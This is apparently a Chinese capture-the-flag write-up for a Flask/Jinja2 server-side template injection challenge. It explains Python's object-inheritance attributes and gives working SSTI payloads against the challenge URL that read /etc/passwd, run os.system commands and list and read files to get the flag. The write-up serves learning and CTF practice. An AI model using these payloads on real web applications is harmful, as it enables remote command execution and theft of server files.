攻防世界 Web_python_template_injection(flask模版注入)

发布于:2024-07-11 ⋅ 阅读:(24) ⋅ 点赞:(0)

学习文章:https://www.freebuf.com/column/187845.html

https://blog.csdn.net/weixin_54515836/article/details/113778233

flask的渲染方法有render_template和render_template_string两种。

render_template()是用来渲染一个指定的文件的。使用如下

return render_template('index.html')

render_template_string则是用来渲染一个字符串的。SSTI与这个方法密不可分。

使用方法如下

html = '<h1>This is index page</h1>'
return render_template_string(html)

flask jinjia渲染引擎中格式:

控制结构 {% %}

变量取值 {{}}

注释 {# #}

基础类的执行

__class__ 返回类型所属的对象(类)

__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__ 返回该对象所继承的基类

// __base__和__mro__都是用来寻找基类的

__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__ 对包含函数全局变量的字典的引用

输入一个表达式1+2发现表达式被执行证明存在ssti

通过python的对象的继承来一步步实现文件读取和命令执行

思路:找到父类<type 'object'>-->寻找子类-->找关于命令执行或者文件操作的模块。

寻找可用的引用类payload:

"".__class__.__mro__[2].__subclasses__()

解析:"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes),而不是对象(objects)。

具体来说,__class__是一个内置属性,表示一个对象所属的类。通过调用__class__.__mro__,可以获取该类的方法解析顺序(Method Resolution Order,MRO),它是一个元组,按照查找方法时的顺序列出了对象所属类及其父类。

在MRO中,索引为2的元素表示对象所属类的直接父类。对于大多数类,索引为2处的元素是object类,因为大多数类都直接或间接继承自object类。

然后通过调用__subclasses__()方法,可以获取一个列表,其中包含了该类的所有子类。这些子类是可用的类,可以用于创建对象和调用其方法。

综上所述,"".__class__.__mro__[2].__subclasses__()方法返回的是可用类(classes)

发现type'file'类,可以调用其方法来读取文件

构造一个payload读取/etc/passwd文件

http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

[40]是<type 'file'>所在的第几个位置,从零开始算

可用类中还有一个<class 'site._Printer'>类,可以调用其方法来执行命令(因为它含os模版,有其他的Printer也行)

找到其位置为71,再利用__init__魔术方法初始化类

构造payload

http://61.147.171.105:50215/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')}}

如果system被过滤或者找不到,用os的listdir读取目录+file模块读取文件

构造payload,listdir函数中的点表示当前目录

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

看到flag的文件名

利用os模块的file,read读取

payload:

http://61.147.171.105:50215/{{"".__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

成功读取到flag